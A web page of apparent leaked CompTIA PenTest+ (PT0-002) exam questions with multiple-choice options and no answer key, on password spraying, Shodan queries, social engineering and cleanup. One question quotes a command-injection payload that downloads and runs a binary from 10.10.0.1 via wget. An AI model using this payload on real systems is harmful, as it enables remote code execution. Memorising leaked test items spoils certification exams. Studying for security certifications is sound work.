Free CompTIA PT0-002 Exam Dumps Questions & Answers

A penetration tester learned that when users request password resets, help desk analysts change users' passwords to 123change. The penetration tester decides to brute force an internet-facing webmail to check which users are still using the temporary password. The tester configures the brute-force tool to test usernames found on a text file and the... Which of the following techniques is the penetration tester using?

• A.  Kerberoasting
• B.  Password spraying
• C.  SQL injection
• D.  Password brute force attack

A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that was utilized:
exploit = "POST "
exploit += "/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} -
c${IFS}'cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}apache;${IFS}./apache'%0A%27&loginUser=a&Pwd=a"
exploit += "HTTP/1.1"
Which of the following commands should the penetration tester run post-engagement?

• A.  grep -v apache ~/.bash_history > ~/.bash_history
• B.  chmod 600 /tmp/apache
• C.  rm -rf /tmp/apache
• D.  taskkill /IM "apache" /F

A large client wants a penetration tester to scan for devices within its network that are Internet facing. The client is specifically looking for Cisco devices with no authentication requirements. Which of the following settings in Shodan would meet the client's requirements?

• A.  "cisco-ios" "default-passwords"
• B.  "cisco-ios" "admin+1234"
• C.  "cisco-ios" "last-modified"
• D.  "cisco-ios" "no-password"

A penetration tester is performing a social engineering penetration test and was able to create a remote session. Which of the following social engineering techniques was most likely successful?

• A.  SMS phishing
• B.  Dumpster diving
• C.  Executive impersonation attack
• D.  Browser exploitation framework

A penetration tester is contracted to attack an oil rig network to look for vulnerabilities. While conducting the assessment, the support organization of the rig reported issues connecting to corporate applications and upstream services for data acquisitions. Which of the following is the MOST likely culprit?

• A.  Application failures
• B.  Successful exploits
• C.  Bandwidth limitations
• D.  Patch installations